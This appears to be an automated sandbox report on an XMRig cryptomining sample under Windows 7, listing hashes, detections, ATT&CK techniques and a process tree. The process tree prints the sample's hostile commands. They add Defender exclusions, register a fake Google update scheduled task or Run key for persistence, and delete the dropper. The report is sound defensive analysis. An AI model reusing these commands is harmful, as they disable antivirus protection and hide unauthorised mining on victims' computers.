xmrig | 118a83cef7804742f9bc8f11c9deea34b84c35d65edca3036667edbd02dc7df8

max time kernel
373s
max time network
1802s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
28-08-2023 15:19

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General

Target

qM5GMXBk6hJE6Y5e (4).exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 1728 created 1244	1728	qM5GMXBk6hJE6Y5e (4).exe	15
PID 1728 created 1244	1728	qM5GMXBk6hJE6Y5e (4).exe	15
PID 1728 created 1244	1728	qM5GMXBk6hJE6Y5e (4).exe	15
PID 1728 created 1244	1728	qM5GMXBk6hJE6Y5e (4).exe	15
PID 568 created 1244	568	updater.exe	15
PID 568 created 1244	568	updater.exe	15
PID 568 created 1244	568	updater.exe	15
PID 568 created 1244	568	updater.exe	15
PID 1240 created 1244	1240	conhost.exe	15
PID 568 created 1244	568	updater.exe	15

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral11/memory/2788-69-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2788-71-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2788-75-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2788-77-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2788-79-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2788-81-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2788-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2788-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2788-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2788-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2788-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2788-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2788-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2788-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2788-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2788-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2788-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2788-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2788-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2788-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2788-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2788-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2788-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2788-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2788-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2788-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2788-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2788-135-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2788-137-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2788-139-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2616	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
568	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
668	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral11/memory/2788-61-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2788-69-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2788-71-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2788-75-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2788-77-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2788-79-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2788-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2788-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2788-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2788-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2788-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2788-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2788-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2788-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2788-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2788-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2788-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2788-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2788-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2788-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2788-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2788-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2788-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2788-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2788-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2788-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2788-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2788-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2788-135-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2788-137-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2788-139-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 568 set thread context of 1240	568	updater.exe	48
PID 568 set thread context of 2788	568	updater.exe	54

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e (4).exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2516	schtasks.exe
1628	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2780	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = e05c129fd6e1d901	powershell.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
1728	qM5GMXBk6hJE6Y5e (4).exe
1728	qM5GMXBk6hJE6Y5e (4).exe
3040	powershell.exe
1728	qM5GMXBk6hJE6Y5e (4).exe
1728	qM5GMXBk6hJE6Y5e (4).exe
2760	powershell.exe
1728	qM5GMXBk6hJE6Y5e (4).exe
1728	qM5GMXBk6hJE6Y5e (4).exe
1728	qM5GMXBk6hJE6Y5e (4).exe
1728	qM5GMXBk6hJE6Y5e (4).exe
2732	powershell.exe
568	updater.exe
568	updater.exe
2520	powershell.exe
568	updater.exe
568	updater.exe
1756	powershell.exe
568	updater.exe
568	updater.exe
568	updater.exe
568	updater.exe
1240	conhost.exe
1240	conhost.exe
568	updater.exe
568	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
472	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	3040	powershell.exe
Token: SeDebugPrivilege	2760	powershell.exe
Token: SeDebugPrivilege	2732	powershell.exe
Token: SeDebugPrivilege	2520	powershell.exe
Token: SeDebugPrivilege	1756	powershell.exe
Token: SeDebugPrivilege	568	updater.exe
Token: SeAssignPrimaryTokenPrivilege	2780	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2780	WMIC.exe
Token: SeSecurityPrivilege	2780	WMIC.exe
Token: SeTakeOwnershipPrivilege	2780	WMIC.exe
Token: SeLoadDriverPrivilege	2780	WMIC.exe
Token: SeSystemtimePrivilege	2780	WMIC.exe
Token: SeBackupPrivilege	2780	WMIC.exe
Token: SeRestorePrivilege	2780	WMIC.exe
Token: SeShutdownPrivilege	2780	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2780	WMIC.exe
Token: SeUndockPrivilege	2780	WMIC.exe
Token: SeManageVolumePrivilege	2780	WMIC.exe
Token: SeLockMemoryPrivilege	2788	conhost.exe
Token: SeAssignPrimaryTokenPrivilege	2780	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2780	WMIC.exe
Token: SeSecurityPrivilege	2780	WMIC.exe
Token: SeTakeOwnershipPrivilege	2780	WMIC.exe
Token: SeLoadDriverPrivilege	2780	WMIC.exe
Token: SeSystemtimePrivilege	2780	WMIC.exe
Token: SeBackupPrivilege	2780	WMIC.exe
Token: SeRestorePrivilege	2780	WMIC.exe
Token: SeShutdownPrivilege	2780	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2780	WMIC.exe
Token: SeUndockPrivilege	2780	WMIC.exe
Token: SeManageVolumePrivilege	2780	WMIC.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2760 wrote to memory of 2516	2760	powershell.exe	32
PID 2760 wrote to memory of 2516	2760	powershell.exe	32
PID 2760 wrote to memory of 2516	2760	powershell.exe	32
PID 2616 wrote to memory of 2492	2616	cmd.exe	37
PID 2616 wrote to memory of 2492	2616	cmd.exe	37
PID 2616 wrote to memory of 2492	2616	cmd.exe	37
PID 2732 wrote to memory of 324	2732	powershell.exe	38
PID 2732 wrote to memory of 324	2732	powershell.exe	38
PID 2732 wrote to memory of 324	2732	powershell.exe	38
PID 668 wrote to memory of 568	668	taskeng.exe	40
PID 668 wrote to memory of 568	668	taskeng.exe	40
PID 668 wrote to memory of 568	668	taskeng.exe	40
PID 1756 wrote to memory of 1628	1756	powershell.exe	47
PID 1756 wrote to memory of 1628	1756	powershell.exe	47
PID 1756 wrote to memory of 1628	1756	powershell.exe	47
PID 568 wrote to memory of 1240	568	updater.exe	48
PID 828 wrote to memory of 2780	828	cmd.exe	53
PID 828 wrote to memory of 2780	828	cmd.exe	53
PID 828 wrote to memory of 2780	828	cmd.exe	53
PID 568 wrote to memory of 2788	568	updater.exe	54

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1244
- C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (4).exe
  "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (4).exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2760
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2516
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2732
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:324
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (4).exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2616
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2492
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2520
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1756
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1628
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1240
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:828
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:2780
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2468
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2788

C:\Windows\system32\taskeng.exe
taskeng.exe {F89AFAAB-6A3A-4FCA-9F1B-C1B51261BD24} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:668
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:568

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\061Q6YUSYMC8VL8SX0QU.temp

Filesize
7KB

MD5
c43835b1d34835edd2c6bec557ea9b3b

SHA1
f2414fea4bad9bbbd1b3bc7a51ee2759ffba13f3

SHA256
7823769a9dd7200ff210182dbf41396f75ba41f25f4b8b01aa5ee370b971494e

SHA512
3947572efdcd8856258e6f8a25b95e54a837d1acec7fae82704a9db4c8144da518ea1c9329e38af1be451f68273583003a7d72003e0716662048df42768ba649

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
c43835b1d34835edd2c6bec557ea9b3b

SHA1
f2414fea4bad9bbbd1b3bc7a51ee2759ffba13f3

SHA256
7823769a9dd7200ff210182dbf41396f75ba41f25f4b8b01aa5ee370b971494e

SHA512
3947572efdcd8856258e6f8a25b95e54a837d1acec7fae82704a9db4c8144da518ea1c9329e38af1be451f68273583003a7d72003e0716662048df42768ba649

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
c43835b1d34835edd2c6bec557ea9b3b

SHA1
f2414fea4bad9bbbd1b3bc7a51ee2759ffba13f3

SHA256
7823769a9dd7200ff210182dbf41396f75ba41f25f4b8b01aa5ee370b971494e

SHA512
3947572efdcd8856258e6f8a25b95e54a837d1acec7fae82704a9db4c8144da518ea1c9329e38af1be451f68273583003a7d72003e0716662048df42768ba649

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
memory/568-63-0x000000013F510000-0x000000013F721000-memory.dmp

Filesize
2.1MB

Download
memory/568-55-0x000000013F510000-0x000000013F721000-memory.dmp

Filesize
2.1MB

Download
memory/568-43-0x000000013F510000-0x000000013F721000-memory.dmp

Filesize
2.1MB

Download
memory/1240-70-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1240-78-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1728-26-0x000000013FED0000-0x00000001400E1000-memory.dmp

Filesize
2.1MB

Download
memory/1728-0-0x000000013FED0000-0x00000001400E1000-memory.dmp

Filesize
2.1MB

Download
memory/1756-57-0x000007FEF4DD0000-0x000007FEF576D000-memory.dmp

Filesize
9.6MB

Download
memory/1756-51-0x000007FEF4DD0000-0x000007FEF576D000-memory.dmp

Filesize
9.6MB

Download
memory/1756-52-0x0000000001120000-0x00000000011A0000-memory.dmp

Filesize
512KB

Download
memory/1756-53-0x0000000001120000-0x00000000011A0000-memory.dmp

Filesize
512KB

Download
memory/1756-54-0x000007FEF4DD0000-0x000007FEF576D000-memory.dmp

Filesize
9.6MB

Download
memory/1756-56-0x0000000001120000-0x00000000011A0000-memory.dmp

Filesize
512KB

Download
memory/2520-50-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

Filesize
9.6MB

Download
memory/2520-49-0x00000000010D0000-0x0000000001150000-memory.dmp

Filesize
512KB

Download
memory/2520-48-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

Filesize
9.6MB

Download
memory/2520-47-0x00000000010D0000-0x0000000001150000-memory.dmp

Filesize
512KB

Download
memory/2520-46-0x00000000010D0000-0x0000000001150000-memory.dmp

Filesize
512KB

Download
memory/2520-45-0x00000000010D0000-0x0000000001150000-memory.dmp

Filesize
512KB

Download
memory/2520-44-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

Filesize
9.6MB

Download
memory/2732-34-0x0000000002480000-0x0000000002500000-memory.dmp

Filesize
512KB

Download
memory/2732-39-0x000007FEF5F70000-0x000007FEF690D000-memory.dmp

Filesize
9.6MB

Download
memory/2732-38-0x0000000002480000-0x0000000002500000-memory.dmp

Filesize
512KB

Download
memory/2732-37-0x000007FEF5F70000-0x000007FEF690D000-memory.dmp

Filesize
9.6MB

Download
memory/2732-36-0x0000000002480000-0x0000000002500000-memory.dmp

Filesize
512KB

Download
memory/2732-35-0x0000000002480000-0x0000000002500000-memory.dmp

Filesize
512KB

Download
memory/2732-33-0x000007FEF5F70000-0x000007FEF690D000-memory.dmp

Filesize
9.6MB

Download
memory/2760-24-0x000007FEF55D0000-0x000007FEF5F6D000-memory.dmp

Filesize
9.6MB

Download
memory/2760-23-0x0000000001FE0000-0x0000000002060000-memory.dmp

Filesize
512KB

Download
memory/2760-22-0x000007FEF55D0000-0x000007FEF5F6D000-memory.dmp

Filesize
9.6MB

Download
memory/2760-21-0x0000000001FE0000-0x0000000002060000-memory.dmp

Filesize
512KB

Download
memory/2760-20-0x0000000001FE0000-0x0000000002060000-memory.dmp

Filesize
512KB

Download
memory/2760-18-0x0000000002080000-0x0000000002088000-memory.dmp

Filesize
32KB

Download
memory/2760-19-0x0000000001FE0000-0x0000000002060000-memory.dmp

Filesize
512KB

Download
memory/2760-16-0x000000001AFB0000-0x000000001B292000-memory.dmp

Filesize
2.9MB

Download
memory/2760-17-0x000007FEF55D0000-0x000007FEF5F6D000-memory.dmp

Filesize
9.6MB

Download
memory/2788-75-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2788-94-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2788-61-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2788-139-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2788-137-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2788-135-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2788-68-0x0000000000370000-0x0000000000390000-memory.dmp

Filesize
128KB

Download
memory/2788-67-0x00000000007B0000-0x00000000007D0000-memory.dmp

Filesize
128KB

Download
memory/2788-69-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2788-133-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2788-71-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
